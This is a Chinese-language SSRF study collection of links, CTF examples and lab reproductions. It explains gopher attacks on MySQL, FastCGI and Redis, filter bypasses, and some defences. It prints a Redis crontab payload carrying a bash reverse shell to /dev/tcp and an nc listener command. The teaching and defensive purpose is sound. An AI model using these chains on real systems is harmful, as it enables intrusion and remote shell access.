SSRF
SSRF(服务器端请求伪造)测试资源
https://paper.seebug.org/393/
https://github.com/cujanovic/SSRF-Testing
SSRF 圣经
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM
【Blackhat】SSRF的新纪元:在编程语言中利用URL解析器
https://www.anquanke.com/post/id/86527
https://www.youtube.com/watch?v=D1S-G8rJrEk
【Blackhat】从SSRF执行链到RCE,看我如何利用GitHub企业版中的四个漏洞
https://www.anquanke.com/post/id/86517
【BlackHat 2017 议题剖析】连接的力量:GitHub 企业版漏洞攻击链构造之旅
https://paper.seebug.org/363/
SSRF Tips
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
http://www.91ri.org/17111.html
了解SSRF,这一篇就足够了
https://xz.aliyun.com/t/2115
SSRF攻击文档翻译
https://xz.aliyun.com/t/2421
SSRF-Lab
https://github.com/m6a-UdS/ssrf-lab
从CTF中学习SSRF
http://hwhxy.space/2018/08/09/从CTF中学习SSRF.html
SSRF injection总结得很全面的资料
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF injection#summary
some trick in ssrf
http://skysec.top/2018/03/15/Some trick in ssrf and unserialize()/#trick2-libcurl-and-parse-url
PHP的libcurl中存在的一些问题
http://wonderkun.cc/index.html/?p=670
parse_url 函数trick
https://github.com/jiangsir404/Audit-Learning/blob/master/parse_url 函数trick.md
SSRF漏洞中绕过IP限制的几种方法总结
https://www.freebuf.com/articles/web/135342.html
SSRF绕过方法总结
https://www.secpulse.com/archives/65832.html
All you need to know about SSRF and how may we write tools to do auto-detect
http://www.auxy.xyz/paper/post/all-ssrf-knowledge/
https://medium.com/bugbountywriteup/the-design-and-implementation-of-ssrf-attack-framework-550e9fda16ea
利用redis写webshell
https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html
Redis和SSRF
https://xz.aliyun.com/t/1800
SSRF漏洞(原理&绕过姿势)(php,java,python例子)
https://www.t00ls.net/articles-41070.html
浅析SSRF原理及利用方式
https://www.anquanke.com/post/id/145519
SSRF利用
https://hellohxk.com/blog/ssrf/
Gopher SSRF攻击内网应用复现
https://www.smi1e.top/gopher-ssrf攻击内网应用复现/
https://joychou.org/web/phpssrf.html
https://paper.seebug.org/510/#01
利用 Gopher 协议拓展攻击面
https://blog.chaitin.cn/gopher-attack-surfaces/
Python安全 - 从SSRF到命令执行惨案
https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html
了解了漏洞的原理后,我们知道所有能发起请求的地方都可能会存在SSRF漏洞,我们可以根据“漏洞代码”中的常见方法对项目进行自查。以下列举一些最容易出现本漏洞的场景:
能填写链接的地方
数据库内置功能
邮箱服务器收取其他邮箱邮件
文件处理、编码处理、属性处理
1.排除法:浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
2.dnslog等工具或者使用http://ceye.io
进行测试,看是否被访问
–可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
3.抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址
–从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
–通过二级域名暴力猜解工具模糊猜测内网地址
4.直接返回的Banner、title、content等信息
5.留意bool型SSRF
SSRFmap - https://github.com/swisskyrepo/SSRFmap
Gopherus - https://github.com/tarunkant/Gopherus
shellver - https://github.com/0xR0/shellver
读取服务器上任意文件内容
可以用来操作内网Redis等服务
FTP匿名访问、爆破
UDP协议扩展
爆破邮件用户名密码
SSH/Telnet匿名访问及爆破
SMB匿名访问及爆破
Gopher 协议在SSRF中属于万金油,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。
不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%a
。注意post参数之间的&分隔符也要进行url编码
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
使用gopher协议构造post包的方法
https://www.th1s.cn/index.php/2016/10/31/15.html
实际测试以及阅读文章中发现gopher存在以下几点问题
soap导致的SSRF
https://xz.aliyun.com/t/2960
题目:https://xz.aliyun.com/t/2148
SOAP及相关漏洞研究
https://skysec.top/2018/08/17/SOAP及相关漏洞研究
Python安全 - 从SSRF到命令执行惨案 Python安全 - 从SSRF到命令执行惨案 | 离别歌
利用ssrf攻击内网fpm Do Evil Things with gopher://
https://paper.tuisec.win/detail/a87f0565b628bac
利用ssrf攻击内网mysql 从一道CTF题目看Gopher攻击MySql
https://paper.tuisec.win/detail/aed0bb56df25952
SSRF配合一些云服务器的特点来GetShell, 如这个:HackerOne
通过SSRF漏洞攻击Docker远程API获取服务器Root权限
搜狗某内网存在Struts2命令执行(discuz!应用实例) Wooyun
http://www.secevery.com:4321/bugs/wooyun-2015-0151181
案例 bilibili某分站从信息泄露到ssrf再到命令执行 https://wy.tuisec.win/wooyun-2016-0213982.html
案例 Vanilla论坛利用getimagesize进行phar反序列化导致RCE
https://xz.aliyun.com/t/3190
Phar与Stream Wrapper造成PHP RCE的深入挖掘
https://blog.zsxsoft.com/post/38
例题:LCTF 2018 T4lk 1s ch34p,sh0w m3 the sh31l 详细分析
https://www.anquanke.com/post/id/164818
案例 百度某个从SSRF到内网WebShell https://wy.tuisec.win/wooyun-2015-099070.html
案例 SSRF in https://imgur.com/vidgif/url
https://hackerone.com/reports/115748
案例 利用NodeJS SSRF漏洞获取AWS完全控制权限
https://xz.aliyun.com/t/2871
例如192.168.0.1
还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
http://www.baidu.com@192.168.0.1/与http://192.168.0.1请求的都是192.168.0.1的内容
(1)http://xip.io和xip.name当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
(2)、由于上述方法中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,我们可以通过用短地址的方式绕过
DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等
我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。
知识点
payload
知识点
题目告诉你存在一个flag,要输入一个url。
判断url[7:15]
是不是等于baidu.com
,并且要让parse_url()处理过后的得到的url['host']
强等于baidu.com
,然后回去curl你输入的网址。
好的我们现在来梳理一下,如果正常的输入http://baidu.com/flag
,则过不了第一个判断,因为提取出来的url[7:15]===baidu.com
如果输入http://eval.com
则能过第一个,但是过不了第二个,因为url[‘host’]===eval.com
,所以这里的焦点放在了parse_url上
如何让parse_url提取的url[‘host’]==baidu.com
,又能让url[7:15]!=baidu.com
呢,
@符号之前表示user成分,如果有pass,则用:分割虽然这样没有安全性可言,但是这确实是设计url中的一环.
payload
题目环境:https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php
题目环境:https://github.com/LCTF/LCTF2018/tree/master/Writeup/babyphp's revenge
https://www.anquanke.com/post/id/164569#h2-5
https://xz.aliyun.com/t/3336
题目环境:https://github.com/eboda/34c3ctf/tree/master/extract0r
在进行利用SSRF攻击MySQL之前,先了解一下MySQL的通信协议。MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:
在Linux或者Unix环境下,当我们输入mysql–uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。
在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql–h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。
所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。
MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包。
认证数据包格式如下:
环境使用mattrayner/lamp:latest-1604-php7 docker
创建数据库
使用gopherus生成payload
线上测试
index.php
注意:如果ssrf的点是get参数,因为处于url中,则需要进行一次url编码,上述例子将会编码成:
很多情况下,SSRF是没有回显的。
我们可以通过mysql执行select into outfile,当前用户必须存在file权限,以及导出到secure_file_priv
指定目录下,并且导入目录需要有写权限。
还可以通过udf反弹shell直接执行系统命令。
原理都是利用SSRF拿Gopher协议发送构造好的TCP/IP数据包攻击mysql
因为docker设置了secure_file_priv=/var/lib/mysql-files/
,偷懒就没有改了,
也可以去读取mysql的配置文件
看用户权限
https://coomrade.github.io/2018/10/28/SSRF攻击MySQL/
http://vinc.top/2017/04/19/mysql-udf提权linux平台/
因为mattrayner/lamp修改secure-file-priv
失败使用了另外一个docker
docker run –rm -it -p 83:80 -v pwd
/www:/app janes/alpine-lamp bash
需要将my.ini中的skip-grant-tables选项去掉。
docker修改配置有点麻烦,不知道哪个才是真的配置文件,以后总结一下再来复现2333
UDF提权tips
https://bbs.ichunqiu.com/thread-39697-1-1.html
一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
p神介绍FastCGI的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
实验环境:https://github.com/vulhub/vulhub/tree/master/fpm
利用条件
监听一个端口的流量nc -lvvp 2333 > 1.txt
,执行EXP,流量打到2333端口
fpm.py地址https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
url编码
在php尝试一下SSRF
反弹shell
反弹shell成功
Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis。
实验环境:https://github.com/vulhub/vulhub/tree/master/fpm
利用redis写webshell
先写一个redis反弹shell的bash脚本如下:
该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n
的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。
把接收到的数据转化为gopher数据流
需要注意的是,如果要换IP和端口,前面的$58也需要更改,$58表示字符串长度为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a
,3+51+4=58。如果想换成42.256.24.73,那么$58需要改成$61,以此类推就行。
url编码后
返回了ok,Redis有字段
查看一下/var/spool/cron/
的root,文件内容有反弹shell命令
因为系统并没有安装crontab,所以手动执行一下,nc会收到回显,但是会报错断开
实验失败
因为docker是ubuntu系统,而ubuntu下使用redis写crontab是无法成功反弹shell的
原因参考
https://xz.aliyun.com/t/1800
https://joychou.org/web/hackredis-enhanced-edition-script.html
查看Linux发行版本
实验环境 https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
生成gopher Payload 脚本:https://xz.aliyun.com/t/5665#toc-8
发送三条redis命令,将弹shell脚本写入/etc/crontab:
进行url编码:
注意,换行符是“\r\n”,也就是“%0D%0A”。
发送请求
查看Redis和/etc/crontab
成功写入
反弹shell成功
gopher协议payload
尝试gopher发现curl 7.19.7版本不支持,挺老的版本
不过我们还可以用dict协议来利用
http://www.cnblogs.com/iamstudy/articles/13th_cuit_game_wp_web300_ssrf.html
过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
限制请求的端口为http常用的端口,比如,80,443,8080,8090。
黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
谈一谈如何在Python开发中拒绝SSRF漏洞
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
PHP开发中防御SSRF
https://www.jianshu.com/p/6ea9b8652d73
绕过方法
https://feei.cn/ssrf
根据漏洞原理,我们能很容易的推导出修复方案。
php cUrl
Java HttpURLConnection